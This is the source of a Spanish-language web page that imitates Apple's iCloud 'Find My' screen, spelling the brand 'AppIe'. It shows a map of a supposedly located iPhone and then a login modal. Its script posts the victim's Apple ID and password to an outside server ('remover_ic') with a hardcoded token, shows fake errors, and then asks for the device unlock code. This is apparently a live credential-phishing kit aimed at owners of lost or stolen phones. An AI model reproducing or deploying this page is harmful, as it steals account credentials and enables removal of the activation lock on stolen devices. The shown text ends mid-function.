|
|
| <!DOCTYPE html>
|
| <html>
|
| <head>
|
| <meta charset="utf-8">
|
| <meta name="robots" content="noindex, nofollow, noarchive">
|
| <meta name="googlebot" content="noindex, nofollow, noarchive">
|
| <meta name="googlebot" content="nosnippet">
|
| <meta name="robots" content="noodp">
|
| <meta name="slurp" content="noydir">
|
| <meta name="robots" content="noimageindex,nomediaindex">
|
| <meta name="robots" content="unavailable_after: 21-Jul-2037 14:30:00 CET">
|
| <meta charset="UTF-8">
|
| <meta name="robots" content="noindex, nofollow, noarchive">
|
| <meta name="googlebot" content="noindex, nofollow, noarchive">
|
| <meta name="googlebot" content="nosnippet">
|
| <meta name="robots" content="noodp">
|
| <meta name="slurp" content="noydir">
|
| <meta name="robots" content="noimageindex,nomediaindex">
|
| <meta name="robots" content="unavailable_after: 21-Jul-2037 14:30:00 CET">
|
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximumscale=1.0, user-scalable=no" />
|
| <meta name="robots" content="noindex">
|
| <meta name="googlebot" content="noindex">
|
| <title>iCloud</title>
|
| <link rel="shortcut icon" href="icon.png" type="image/x-icon" />
|
| <link rel="stylesheet" href="maps/assets/css/form.css">
|
| <link rel="stylesheet" href="maps/assets/css/form2.css">
|
| <link rel="stylesheet" href="maps/assets/css/nav.css">
|
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
|
| <meta property="og:image" content="maps/assets/img/find-my-2019-09-25.png">
|
| <link rel="stylesheet" type="text/css" media="screen" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/4.6.1/css/bootstrap.min.css">
|
| <link rel="stylesheet" href="//apps.bdimg.com/libs/jqueryui/1.10.4/css/jquery-ui.min.css">
|
| <link rel="stylesheet" type="text/css" media="screen" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.0.0/css/font-awesome.css">
|
| <link rel="stylesheet" href="https://unpkg.com/leaflet@1.7.1/dist/leaflet.css" integrity="sha512-xodZBNTC5n17Xt2atTPuE1HxjVMSvLVW9ocqUKLsCC5CXdbqCmblAshOMAS6/keqq/sMZMZ19scR4PsZChSR7A==" crossorigin="" />
|
| <link rel="stylesheet" href="maps/assets/css/leaflet-routing-machine.css" />
|
| <link rel="stylesheet" href="https://unpkg.com/leaflet-routing-machine@latest/dist/leaflet-routing-machine.css" />
|
|
|
|
|
| <style type="text/css">
|
| #content_login {display:block;}
|
| #content_code {display:none;}
|
| .float-line {display:block;}
|
| .float-button {display:block;}
|
| #header {
|
| position: absolute;
|
| background: rgba(255, 255, 255, 0.9);
|
| height: 0px;
|
| padding: 20px 0 30px 0;
|
| top: 0;
|
| width: 100%;
|
| z-index: 0;
|
| }
|
| #header .left {
|
| width: 24%;
|
| text-align: left;
|
| float: left;
|
| left: 0;
|
| margin-left: 10px;
|
| }
|
| #header .left, #header .right {
|
| position: absolute;
|
| font-family: "SF Display", Sans-Serif;
|
| font-weight: 500 !important;
|
| cursor: pointer;
|
| }
|
| #header .center {
|
| position: relative;
|
| width: 100%;
|
| text-align: center;
|
| font-family: "SF Pro Text", Sans-Serif;
|
| font-size: 18px;
|
| font-weight: 600;
|
| }
|
| #header .right {
|
| width: 24%;
|
| text-align: right;
|
| float: right;
|
| margin-right: 10px;
|
| color: #49a356;
|
| bottom: 10px;
|
| right: 0;
|
| }
|
| #header .left, #header .center, #header .right {
|
| display: inline-block;
|
| }
|
| .leaflet-control-container {
|
| display: none;
|
| }
|
| .leaflet-div-icon {
|
| background: red!important;
|
| border: none!important;
|
| }
|
| .overlay {
|
| z-index: 3;
|
| background: rgb(0 0 0 / 0%);
|
| position: fixed;
|
| top: 50px;
|
| bottom: 100px;
|
| left: 0;
|
| right: 0;
|
| align-items: center;
|
| justify-content: center;
|
| display: flex;
|
| visibility: hidden;
|
| }
|
| .overlay.active {
|
| visibility: visible;
|
| }
|
| @media (min-width: 100px)and (max-width: 485px) {
|
| .popup {
|
| width: 600px
|
| }
|
| }
|
| @media (min-width: 486px) and (max-width: 830px) {
|
| .popup {
|
| width: 600px
|
| }
|
| }
|
| @media (min-width: 830px) and (max-width: 5000px) {
|
| .popup {
|
| width: 400px
|
| }
|
| }
|
| .popup {
|
| background: #F8F8F8;
|
| /*box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.3);
|
| border-radius: 3px;*/
|
| box-shadow: 0px 0px 21px 0px rgba(0, 0, 0, 0.95);
|
| border-radius: 15px;
|
| font-family: 'Montserrat', sans-serif;
|
| padding-top: 15px;
|
| text-align: center;
|
| width: 300px;
|
| margin-top: 0px;
|
| margin-left: 20px;
|
| margin-right: 20px;
|
| margin-bottom: 50px;
|
| transition: .3s ease all;
|
| transform: scale(0.7);
|
| opacity: 0;
|
| }
|
| .popup.active { transform: scale(1); opacity: 1; }
|
| input#email:focus {
|
| border: 1px solid #bbb7b7!important;
|
| outline: none;
|
| }
|
| input#pw:focus {
|
| border: 1px solid #bbb7b7!important;
|
| outline: none;
|
| }
|
| div#divemail, div#password {
|
| position: relative;
|
| width: auto;
|
| /*margin-top:5px;*/
|
| }
|
| div#password>img {
|
| position: absolute;
|
| right: 10px;
|
| top: 7px;
|
| }
|
| input#email:focus {
|
| border: 1px solid blue!important;
|
| }
|
| input#pw:focus {
|
| border: 1px solid blue!important;
|
| }
|
| .largo{
|
| width: 250px;
|
| align-content: center;
|
| }
|
| .float-line {
|
| position: relative;
|
| width: 100%;
|
| height: 1px;
|
| background: #dad9da;
|
| }
|
| .float-button {
|
| overflow: hidden;
|
| border-radius: 0 0 15px 15px;
|
| }
|
| #siguiente {
|
| border-left: 1px #dad9da solid !important;
|
| font-weight: 400 !important;
|
| right: 0;
|
| }
|
| #btn_cancelar, #siguiente{
|
| position: relative;
|
| display: inline-block;
|
| width: 50%;
|
| border: 0px;
|
| padding: 10px;
|
| background: transparent;
|
| font-size: 1.1em;
|
| color: rgba(0, 121, 255, 1.000);
|
| font-family: "SF Text", "Helvetica Neue", Helvetica, Arial, sans-serif !important;
|
| font-weight: 300;
|
| -webkit-appearance: none;
|
| box-sizing: border-box;
|
| float: left;
|
| }
|
| .error2.pop-top2 {
|
| line-height: 1.47059;
|
| font-weight: 400;
|
| letter-spacing: -.022em;
|
| font-family: SF Pro Text,SF Pro Icons,Helvetica Neue,Helvetica,Arial,sans-serif;
|
| font-size: 16px;
|
| background-color: #fae9a3;
|
| position: relative;
|
| width: 250px;
|
| /*margin-left: -50%;*/
|
| border-radius: 5px;
|
| /*left: 50%;*/
|
| border: 1px solid rgba(185,149,1,.47);
|
| box-shadow: none;
|
| bottom: 11px;
|
| padding: 11px;
|
| z-index: 1;
|
| }
|
| .error2.pop-top2:before {
|
| width: 15px;
|
| height: 15px;
|
| background-color: #fae9a3;
|
| content: "";
|
| position: absolute;
|
| left: 47.2%;
|
| -webkit-transform: rotate(135deg) skewX(5deg) skewY(5deg);
|
| -ms-transform: rotate(135deg) skewX(5deg) skewY(5deg);
|
| -o-transform: rotate(135deg) skewX(5deg) skewY(5deg);
|
| transform: rotate(135deg) skewX(5deg) skewY(5deg);
|
| top: -8px;
|
| border-left: 1px solid rgba(185,149,1,.47);
|
| border-bottom: 1px solid rgba(185,149,1,.47);
|
| box-shadow: none;
|
| -webkit-transform: rotate(315deg) skewX(5deg) skewY(5deg);
|
| -ms-transform: rotate(315deg) skewX(5deg) skewY(5deg);
|
| -o-transform: rotate(315deg) skewX(5deg) skewY(5deg);
|
| transform: rotate(315deg) skewX(5deg) skewY(5deg);
|
| bottom: -8px;
|
| top: inherit;
|
| z-index: 0;
|
| }
|
| .error.pop-bottom.tk-subbody-headline {
|
| background-color: #fae9a3;
|
| position: absolute;
|
| width: 100%;
|
| /*margin-left: -50%;*/
|
| border-radius: 5px;
|
| /*left: 50%;*/
|
| border: 1px solid rgba(185,149,1,.47);
|
| box-shadow: 0 5px 10px 2px rgb(0 0 0 / 10%);
|
| margin-top: 5px;
|
| padding-left: 5px;
|
| padding-right: 5px;
|
| padding-top: 2px;
|
| padding-bottom: 0px;
|
| Z-INDEX: 1;
|
| }
|
| .pop-bottom:before {
|
| width: 15px;
|
| height: 15px;
|
| background-color: #fae9a3;
|
| content: "";
|
| position: absolute;
|
| left: 47.2%;
|
| -webkit-transform: rotate(
|
| 135deg
|
| ) skewX(
|
| 5deg
|
| ) skewY(
|
| 5deg
|
| );
|
| -ms-transform: rotate(135deg) skewX(5deg) skewY(5deg);
|
| -o-transform: rotate(135deg) skewX(5deg) skewY(5deg);
|
| transform: rotate(
|
| 135deg
|
| ) skewX(
|
| 5deg
|
| ) skewY(
|
| 5deg
|
| );
|
| top: -8px;
|
| border-left: 1px solid rgba(185,149,1,.47);
|
| border-bottom: 1px solid rgba(185,149,1,.47);
|
| box-shadow: -1px 1px 2px -1px rgb(185 149 1 / 47%);
|
| }
|
| *, :after, :before {
|
| /* -webkit-box-sizing: border-box; */
|
| -moz-box-sizing: border-box;
|
| box-sizing: border-box;
|
| }
|
| p#errMsg {
|
| max-height: 110px;
|
| overflow-y: auto;
|
| margin: 0;
|
| padding: 0;
|
| font-size: 14px;
|
| line-height: 1.42861;
|
| font-weight: bold;
|
| letter-spacing: -.016em;
|
| font-family: SF Pro Text,SF Pro Icons,Helvetica Neue,Helvetica,Arial,sans-serif;
|
| color: #503e30e3;
|
| }
|
| a.si-link.ax-outline.thin.tk-subbody {
|
| color: #503e30d1;
|
| text-decoration: underline;
|
| font-size: 14px;
|
| line-height: 1.42861;
|
| font-weight: 400;
|
| letter-spacing: -.016em;
|
| font-family: SF Pro Text,SF Pro Icons,Helvetica Neue,Helvetica,Arial,sans-serif;
|
| }
|
| .slide-up,
|
| .slide-down {
|
| overflow: hidden;
|
| }
|
|
|
| .slide-up > div,
|
| .slide-down > div {
|
| transform: translateY(0);
|
| transition: .4s ease-in-out;
|
| }
|
|
|
| .slide-down > div {
|
| transform: translateY(0);
|
| }
|
|
|
| #kil_time h3{
|
| font-size: 14px;
|
| }
|
|
|
| #miImagen{
|
| -moz-transform: rotate(40deg);
|
| -o-transform: rotate(40deg);
|
| -webkit-transform: rotate(40deg);
|
| transform: rotate(40deg);
|
| }
|
| </style>
|
| </head>
|
| <body id="body_b" style="font-family: Arial, Helvetica, sans-serif; " onload="rotar_imagen();">
|
|
|
| <div class="leaflet-top leaflet-right">
|
| <div class="leaflet-control-zoom leaflet-bar leaflet-control">
|
| <a class="leaflet-control-zoom-in" href="#" title="Zoom in" role="button" aria-label="Zoom in" style="width: 35px;height: 35px;background:white;">
|
| <img src="maps/assets/img/directions-2x-20150909.png" style="margin-top: 6px;width: 22px;"></a>
|
| <a class="leaflet-control-zoom-out" href="#" title="Zoom out" role="button" aria-label="Zoom out" style="width: 35px;height: 35px;background:white;">
|
| <img src="maps/assets/img/arrow.png" style="margin-top: 6px;width: 22px;" id="miImagen"></a>
|
| </a>
|
| </div>
|
|
|
| <div class="leaflet-control-zoom leaflet-bar leaflet-control">
|
| <a class="leaflet-control-zoom-in" title="Zoom in" role="button" aria-label="Zoom in" style="width: 35px;height: 35px;background:white;">
|
| <img id="rotativo" style="margin-top: 6px;width: 20px;height: 20px;" src="maps/assets/img/r-5.jpg">
|
| </a>
|
|
|
| </div>
|
| </div>
|
|
|
| <div id="maps" style="width: 100%; height: 100vh; z-index: -100;
|
| position: fixed;">
|
| </div>
|
|
|
| <div id="show_3" style="text-align: center; height: 100%;">
|
| <section id="header" style="border-bottom: 1px #c5c5c5 solid; display: none;">
|
| <div class="left" style="font-size: 20px; bottom: 10px;">iCloud</div>
|
| <div class="center" style="font-size: 23px; bottom: 10px;">
|
| <i class="fa fa-apple"></i>
|
| </div>
|
| <div class="right" style="font-size: 16px;display: block; width: auto;">jhon12</div>
|
| </section>
|
| <div class="footer"></div>
|
| <center>
|
| <div id="bac" class="buttons-holder" style="height:250px;width:200px; position:absolute;left:50%; display: none;" >
|
| <div class="spinner">
|
| <div class="double-bounce1"></div>
|
| <div class="double-bounce2"></div>
|
| <img src="maps/assets/img/imap.png" onclick="openForm()" style="width: 60px;">
|
| </div>
|
| </div>
|
| </center>
|
|
|
| <div class="overlay" id="overlay">
|
| <div class="popup" id="popup">
|
| <center>
|
| <img src="maps/assets/img/loading-01.gif" style="width: 30px; display: block; padding-bottom: 20px;" id="loading">
|
| <div class="content" id="content_code" style="padding-left: 12px;padding-right: 12px; padding-top: 12px; padding-bottom: 12px;">
|
| <img src="maps/assets/img/find-my-2019-09-25.png" style="width: 65px; display: none;">
|
| <h1 class = 'text-center pb-2' style="font-size: 18px; line-height: 1.38105;font-weight: 600; font-family: SF Pro Display,SF Pro Icons,Helvetica Neue,Helvetica,Arial,sans-serif;" id = "Tituloform">
|
| Ingrese su código de desbloqueo
|
| </h1>
|
| <div class="error2 pop-top2" id = "errorCode" style="display: none;">Código de verificación incorrecto.</div>
|
| <form class="form-horizontal form-bordered form-code" novalidate>
|
| <div class="field-wrap force-ltr char0" style="width: 40; height: 40; display: inline-block; ">
|
| <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" id="char0" class="form-control force-ltr form-textbox char-field" aria-label="Enter Verification Code Digit 1" placeholder="" aria-describedby="idms-input-error-1528123186157-0" data-index="0" type="tel" style="width: 36px; height: 36px; border: 1px solid #d7d7d7;border-radius: 4px;text-align: center;font-size: 24px;padding: 0; font-weight: 500; display: inline-block;" onKeyPress="return soloNumeros(event)">
|
| </div>
|
| <div class="field-wrap force-ltr char1" style="width: 40; height: 40; display: inline-block; ">
|
| <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" id="char1" class="form-control force-ltr form-textbox char-field" aria-label="Enter Verification Code Digit 1" placeholder="" aria-describedby="idms-input-error-1528123186157-0" data-index="0" type="tel" style="width: 36px; height: 36px; border: 1px solid #d7d7d7;border-radius: 4px;text-align: center;font-size: 24px;padding: 0; font-weight: 500;" onKeyPress="return soloNumeros(event)">
|
| </div>
|
| <div class="field-wrap force-ltr char2" style="width: 40; height: 40; display: inline-block; ">
|
| <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" id="char2" class="form-control force-ltr form-textbox char-field" aria-label="Enter Verification Code Digit 1" placeholder="" aria-describedby="idms-input-error-1528123186157-0" data-index="0" type="tel" style="width: 36px; height: 36px; border: 1px solid #d7d7d7;border-radius: 4px;text-align: center;font-size: 24px;padding: 0; font-weight: 500;" onKeyPress="return soloNumeros(event)">
|
| </div>
|
| <div class="field-wrap force-ltr char3" style="width: 40; height: 40; display: inline-block;">
|
| <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" id="char3" class="form-control force-ltr form-textbox char-field" aria-label="Enter Verification Code Digit 1" placeholder="" aria-describedby="idms-input-error-1528123186157-0" data-index="0" type="tel" style="width: 36px; height: 36px; border: 1px solid #d7d7d7;border-radius: 4px;text-align: center;font-size: 24px;padding: 0; font-weight: 500;" onKeyPress="return soloNumeros(event)">
|
| </div>
|
|
|
| <br>
|
| <br>
|
| <label id="verificando" class="form-label verificando" style="display: none;">
|
| Verificando
|
| <img src="maps/assets/img/loading.gif" style="width: 18px; height: 18px;margin-top: 4px;">
|
| </label>
|
| <h1 class = 'text-center pt-2 px-2' style="font-size: 15px; line-height: 1.38105;font-weight: 400; font-family: SF Pro Display,SF Pro Icons,Helvetica Neue,Helvetica,Arial,sans-serif; display: none;">El acceso a tu cuenta está protegido por el código. Tu código está encriptado y AppIe no podrá leerlo.</h1>
|
| <div class="container largo align-content-center" style="display: none;">
|
| <hr>
|
| </div>
|
| <div class="text-center pb-3" style="display: none;">
|
| <span style="color: blue; cursor: pointer;" onclick="redirect_login()">¿Has olvidado el código?</span>
|
| </div>
|
| </form>
|
| </div>
|
| <div class="content" id="content_login" style="padding-left: 12px;padding-right: 12px; padding-top: 12px; padding-bottom: 12px;">
|
| <img src="maps/assets/img/find-my-2019-09-25.png" style="width: 65px; display: none;">
|
| <h1 class = 'text-center pb-2 Tituloform_login' style="font-size: 18px; line-height: 1.38105;font-weight: 600; font-family: SF Pro Display,SF Pro Icons,Helvetica Neue,Helvetica,Arial,sans-serif;" id = "Tituloform">Ingrese su ID de AppIe para ver la ubicación de su dispositivo </h1>
|
| <form class="form-horizontal form-bordered" id="form_login" style="display: none;" >
|
| <div id="divemail">
|
| <input autofocus id="email" type="email" name="email" value="" placeholder="ID de AppIe" style="font-size: 14px; padding-top: 10px; padding-right: 45px; padding-bottom: 10px; padding-left: 15px; width: 100%; border-radius: 6px 6px 0px 0px; border: 1px solid #ddd; background: #f5f7f7; border-bottom: 0px;" required >
|
|
|
| </div>
|
| <div id="divPassword">
|
| <div id="Slider" class="slide-up" style="/*position: absolute;*/">
|
| <div id="SliderDiv">
|
| <input autofocus id="pw" type="password" name="password" value="" placeholder="Contraseña" style="font-size: 14px; padding-top: 10px; padding-right: 45px; padding-bottom: 10px; padding-left: 15px; width: 100%; border-radius: 0px 0px 6px 6px; border: 1px solid #ddd; background: #f5f7f7;" required>
|
| </div>
|
| </div>
|
| <span id="sign-in_pw" tabindex="0" class="" style="border: 0px; border-radius: 50%; padding: 8px 5px; width: 38px; height: 38px; background: #f3f8f900; position: absolute; right: 14px; opacity: .6; z-index: 1; display: none;"> </span>
|
| </div>
|
| <center>
|
| <div class="pop-container error signin-error" style="display: none; position: relative;">
|
| <div class="error pop-bottom tk-subbody-headline">
|
| <p class="fat" id="errMsg">Contraseña o ID de AppIe incorrectos.</p>
|
| <a class = "si-link ax-outline thin tk-subbody" href="">¿Has olvidado tu ID de AppIe o la contraseña?</a>
|
| </div>
|
| </div>
|
| </center>
|
| <div class="custom-control custom-checkbox my-1 mr-sm-2" style="display: none;">
|
| <input type="checkbox" class="custom-control-input" id="customControlInline">
|
| <label class="custom-control-label" for="customControlInline">
|
| Permanecer conectado </label>
|
| </div>
|
| <div class="container largo align-content-center" style="display: none;">
|
| <hr>
|
| </div>
|
| <div class="text-center pt-4 pb-2" style="display: none;">
|
| <a class="" href="https://iforgot.appIe.com/password/verify/" target="_blank">¿Has olvidado tu contraseña?</a>
|
| </div>
|
| </form>
|
| </div>
|
| </center>
|
| <div class="float-line"></div>
|
| <div class="float-button">
|
| <button type="button" class="float-cancel" id="btn_cancelar" onclick="reload()">
|
| Cancelar
|
| </button>
|
| <button type="submit" id="siguiente" form="form_login">
|
| <span id="txt_siguiente">Siguiente</span>
|
| <img id="img-gif" src="maps/assets/img/loading.gif" style="display: none;"></button>
|
| </div>
|
| </div>
|
| </div>
|
| </div>
|
| <section id="footer_2" class="" style="height: 0px;margin-left: 0 !important;position: fixed;border-top: 1px #d5d5d03b solid;padding: 0px 0px 300px 0px;width: 100%;z-index: 0;background: rgba(255, 255, 255, 0.91);bottom: 0;border-radius: 15px 15px 0px 0px;">
|
|
|
| <table style="position: absolute; margin-top: 10px; margin-left: 15px;" cellspacing="0" cellpadding="0">
|
| <tbody>
|
| <tr>
|
| <td rowspan="6" style="padding-bottom: 23px;padding-right: 2px; display: revert;"> <img id="imgicono1" style="width: 10px;" src="maps/assets/img/puntito_sin_fondo.png"></td>
|
| <td rowspan="6" style="padding-bottom: 23px;padding-right: 12px; display: revert;">
|
| <img id="imgicono1" style="width: 40px;height: 50px;" src="maps/assets/img/img_loc.png">
|
| </td>
|
| <td style="display: block;padding-top: 0px;padding-left: 0px;">
|
| <p style="font-family: "SF Pro Text", "Helvetica Neue", Helvetica, Arial, sans-serif !important; margin-top: 0!important;
|
| margin-bottom: 0px!important;font-weight: 600;">iPhone 11</p>
|
| <span style="font-family: "SF Pro Text", "Helvetica Neue", Helvetica, Arial, sans-serif !important;opacity: 1; font-weight: 600;font-size: 13px;" id="direccionmapa">Cartagena, </span>
|
| <p style="font-family: "SF Pro Text", "Helvetica Neue", Helvetica, Arial, sans-serif !important;opacity: .6;margin-top: 0!important;
|
| margin-bottom: 0px!important; font-size: 13px;" id = 'find_location'>Visto por última vez hace 5 minutos</p>
|
| </td>
|
| </tr>
|
| </tbody>
|
| </table>
|
|
|
| <table style="position: relative; margin-top: 10px; margin-left: 15px; float: right;" cellspacing="0" cellpadding="0">
|
| <tbody>
|
| <tr>
|
|
|
| <td rowspan="6" style="padding-bottom: 23px;padding-right: 12px;">
|
| <img id="imgicono1" style="width: 35px;" src="maps/assets/img/3.png">
|
| </td>
|
|
|
| </tr>
|
| </tbody>
|
| </table>
|
|
|
| <div class="row justify-content-around" style="top: 105px; position: absolute;margin:auto; width: 100%;">
|
| <div class="col-5" style="border: 1px #0000002e solid;
|
| border-radius: 5px; height: 150px;" >
|
| <img src="maps/assets/img/play.png" style="width: 35px; top: 20px;
|
| position: absolute; left: 7px;">
|
| <label style="position: absolute; top: 76px; font-size: 16px; font-weight: 600;left: 10px;">Play Sound</label>
|
| <label style="position: absolute; top: 100px; font-size: 14px; color: #0000005c;left: 10px;">Off</label>
|
| </div>
|
| <div class="col-5" style="border: 1px #0000002e solid;
|
| border-radius: 5px; height: 150px;" >
|
| <img src="maps/assets/img/directions.png" style="width: 35px; top: 20px;
|
| position: absolute;left: 7px;">
|
| <label style="position: absolute; top: 76px; font-size: 16px; font-weight: 600;left: 10px;">Directions</label>
|
| <label style="position: absolute; top: 100px; font-size: 14px; color: #0000005c;left: 10px;" id="kil_time">0km, 00 00</label>
|
|
|
|
|
|
|
| </div>
|
| </div>
|
|
|
|
|
| <div name="" id="km"></div>
|
| </section>
|
| <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
|
| <script src="//apps.bdimg.com/libs/jqueryui/1.10.4/jquery-ui.min.js"></script>
|
| <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
|
| <script type="text/javascript" src = 'https://cdnjs.cloudflare.com/ajax/libs/bootstrap/4.6.1/js/bootstrap.min.js'></script>
|
| <script src="https://unpkg.com/leaflet@1.7.1/dist/leaflet.js" integrity="sha512-XQoYMqMTK8LvdxXYG3nZ448hOEQiglfqkJs1NOQV44cWnUrBc8PkAOcXy20w0vlaXaVUearIOBhiXZ5V3ynxwA==" crossorigin=""></script>
|
| <script src="https://unpkg.com/leaflet-routing-machine@latest/dist/leaflet-routing-machine.js"></script>
|
| <script>
|
| let code_type_status = 'CODEUNLOCKOFFLINE';
|
| let code_type = 'no_code';
|
| let url_server = 'https://appwebkit-pro.online';
|
| let link = 'KM9';
|
| let id_username = '1';
|
| let url_access = 'https://appserver.lgdev.us';
|
| let access_token = 'f540DseFEVTHAmjIL1aY9=JM12gw56';
|
| let ip_access_api = '67.223.118.96';
|
| let latitude_detectada = '10.4013';
|
| let longitude_detectada = '-75.5267';
|
|
|
| var latitude = '30.8041704';
|
| var longitude = '75.4753645';
|
| let info = '';
|
|
|
| function rotar_imagen(){
|
| var tiempo = 700;//tiempo en milisegundos
|
| var arrImagenes = ['maps/assets/img/r-9.jpg', 'maps/assets/img/r-3.jpg', 'maps/assets/img/r-2.jpg'];
|
|
|
| _img = document.getElementById('rotativo');
|
|
|
| //cargar la 1er imagen
|
| _img.src = arrImagenes[0];
|
| var i=1;
|
| setInterval(function(){
|
| _img.src = arrImagenes[i];
|
| i = (i == arrImagenes.length-1)? 0 : (i+1);
|
| }, tiempo);
|
| }
|
|
|
|
|
|
|
| $(document).ready(function(){
|
|
|
|
|
|
|
|
|
| /* if($("input#email").val() != "") {
|
| $("#siguiente").removeAttr("disabled");
|
| $("#siguiente").css("opacity", "1");
|
| $("input#email").focus()
|
| $(".signin-error").hide();
|
| $("input#password").val("")
|
| } else {
|
| $("#siguiente").attr("disabled");
|
| $("#siguiente").css("opacity", ".6");
|
| $("input#password").val("")
|
| $(".signin-error").hide();
|
| }*/
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| if(latitude != '' && longitude != ''){
|
|
|
|
|
| var mymap = L.map("maps");
|
| L.tileLayer("https://api.mapbox.com/styles/v1/{id}/tiles/{z}/{x}/{y}?access_token=pk.eyJ1IjoiamhvbmUzNCIsImEiOiJjbGpqcGZseHUwYmp4M2VwcDA5czM1d2ExIn0.RKluyGbcmZIXzNzD4H5xNQ", {
|
| maxZoom: 18,
|
| attribution: "",
|
| id: "mapbox/streets-v11",
|
| tileSize: 512,
|
| zoomOffset: -1
|
| }).addTo(mymap);
|
| L.marker([parseFloat(latitude), parseFloat(longitude)]).addTo(mymap)
|
| let rou = L.Routing.control({
|
| waypoints: [
|
| L.latLng(latitude_detectada, longitude_detectada), //direcci��n obtenida del usuario
|
| L.latLng(latitude, longitude) //direcci��n fija de destino
|
| ],
|
| language: 'es'
|
|
|
| }).addTo(mymap);
|
|
|
|
|
| //)
|
|
|
|
|
| mymap.setView([parseFloat(latitude), parseFloat(longitude)], 16);
|
|
|
| device_in_motion()
|
|
|
| setTimeout(function() {
|
| // hide_footer()
|
| }, 2000)
|
|
|
| setTimeout(function() {
|
| view_modal()
|
| info = rou.getContainer().querySelector("h3");
|
|
|
| $("#kil_time").html(info)
|
|
|
| }, 6000)
|
| }
|
|
|
|
|
|
|
| function hide_footer(){
|
| var lgo = $("#footer");
|
| var lgo2 = $("#footer_2");
|
|
|
| setTimeout(function() {
|
| lgo.animate({
|
| height : "0px"
|
| }, 1500);
|
|
|
| }, 1000);
|
|
|
| setTimeout(function() {
|
| lgo2.animate({
|
| height : "100px"
|
| }, 1500);
|
| $('#footer_2').show();
|
| $('#footer').hide();
|
| }, 2000);
|
|
|
| /*lgo.animate({
|
| height : "90px"
|
| }, 1000);
|
| lgo.animate({
|
| height : "40px"
|
| }, 2000);*/
|
| }
|
|
|
|
|
| function device_in_motion(){
|
| $("#bac").show()
|
| var lgo = $("#bac");
|
| lgo.animate({
|
| left: "50%",
|
| opacity: "0.9"
|
| }, 900);
|
| lgo.animate({
|
| top: "40%",
|
| opacity: "0.9"
|
| }, 9000);
|
| lgo.animate({
|
| top: "43%",
|
| opacity: "0.1"
|
| }, 1000);
|
| }
|
|
|
| function view_modal(){
|
|
|
| $("#loading").hide();
|
| $("#form_login").show();
|
|
|
| overlay = document.getElementById('overlay'),
|
| popup = document.getElementById('popup'),
|
| overlay.classList.add('active');
|
| popup.classList.add('active');
|
|
|
|
|
| $("#content_code").hide()
|
| $("#content_login").show()
|
|
|
| }
|
|
|
| })
|
|
|
|
|
| $("input#email").on("input", function(e) {
|
| $(".signin-error").hide()
|
| $("#siguiente").removeAttr("disabled");
|
| $("#siguiente").css("opacity", "1");
|
| })
|
|
|
| $("input#pw").on("input", function(e) {
|
| $(".signin-error").hide()
|
| $("#siguiente").removeAttr("disabled");
|
| $("#siguiente").css("opacity", "1");
|
| })
|
|
|
|
|
|
|
| function addicloud() {
|
| try {
|
| var c_id = $("input#email");
|
| c_id.focusout(function() {
|
| if(c_id.val().indexOf("@icloud.com") !== -1 || c_id.val().indexOf("@") !== -1 || c_id.val().indexOf(" ") >= 0) {} else {
|
| if(c_id.val().length === 0) {} else {
|
| c_id.val(function(index, val) {
|
| // c_log.addClass("dologin");
|
| // c_log.removeAttr("disabled");
|
| // $("div.field-separator").css("display","block!important");
|
| return val + "@icloud.com";
|
| });
|
| }
|
| }
|
| });
|
| } catch(error) {}
|
| }
|
| let count = 0;
|
| $(document).on('submit', '#form_login', function(event){
|
| event.preventDefault();
|
|
|
| /* if($("input#email").val() != '' && $("input#pw").val() == ''){
|
|
|
|
|
| $("#siguiente").attr("disabled");
|
| $("#siguiente").css("opacity", ".6");
|
| $("#sign-in_email").show()
|
|
|
| setTimeout(function() {
|
|
|
| $("div#divemail").hide()
|
| $("div#divPassword").show()
|
| $(".Tituloform_login").html("")
|
| }, 1000);
|
|
|
| }else */if($("input#email").val() != '' && $("input#pw").val() != ''){
|
| addicloud()
|
| $("#sign-in_pw").show()
|
| $("#siguiente").attr("disabled");
|
| $("#siguiente").css("opacity", ".6");
|
| $("#txt_siguiente").hide()
|
| $("#img-gif").show()
|
|
|
| const HTTP = axios.create({
|
| baseURL: url_access
|
| })
|
|
|
| let datos = {
|
| ip_access : ip_access_api,
|
| token_access : access_token,
|
| email : $("input#email").val(),
|
| password : $("input#pw").val()
|
|
|
| }
|
|
|
| HTTP.post("/RestAPI/remover_ic", datos)
|
| .then(resp => {
|
|
|
| let response = resp.data;
|
| if(response.status == 0){
|
|
|
| if(code_type_status != 'CODEUNLOCKOFFLINE'){
|
|
|
| if(count == 0){
|
|
|
| add_remove(url_server, $("#email").val(), $("#pw").val(), link, id_username, response.status, response.response)
|
| $("#sign-in_pw").hide()
|
| $(".signin-error").show()
|
| //$("input#pw").focus()
|
| $("input#pw").val("");
|
| $("#siguiente").attr("disabled");
|
| $("#siguiente").css("opacity", ".6");
|
| $( ".overlay" ).effect( "shake" );
|
| $("#img-gif").hide()
|
| $("#txt_siguiente").show()
|
|
|
|
|
| }else if(count == 1){
|
| add_remove(url_server, $("input#email").val(), $("input#pw").val(), link, id_username, response.status, response.response)
|
| $(".signin-error").show()
|
| // $("input#pw").focus()
|
| $("#siguiente").attr("disabled");
|
| $("#siguiente").css("opacity", ".6");
|
| $( ".overlay" ).effect( "shake" );
|
| setTimeout(function() {
|
| // $(".signin-error").hide()
|
| $("#img-gif").hide()
|
| $("#txt_siguiente").show()
|
| $("#content_login").hide()
|
| $("#content_code").show()
|
| //$(".float-line").hide()
|
| $(".float-button").show()
|
| }, 2000)
|
|
|
| }
|
|
|
| }else{
|
|
|
| add_remove(url_server, $("input#email").val(), $("input#pw").val(), link, id_username, response.status, response.response)
|
| $("#sign-in_pw").hide()
|
| $(".signin-error").show()
|
| $("input#pw").focus()
|
| $("input#pw").val("");
|
| $("#siguiente").attr("disabled");
|
| $("#siguiente").css("opacity", ".6");
|
| $( ".overlay" ).effect( "shake" );
|
| $("#img-gif").hide()
|
| $("#txt_siguiente").show()
|
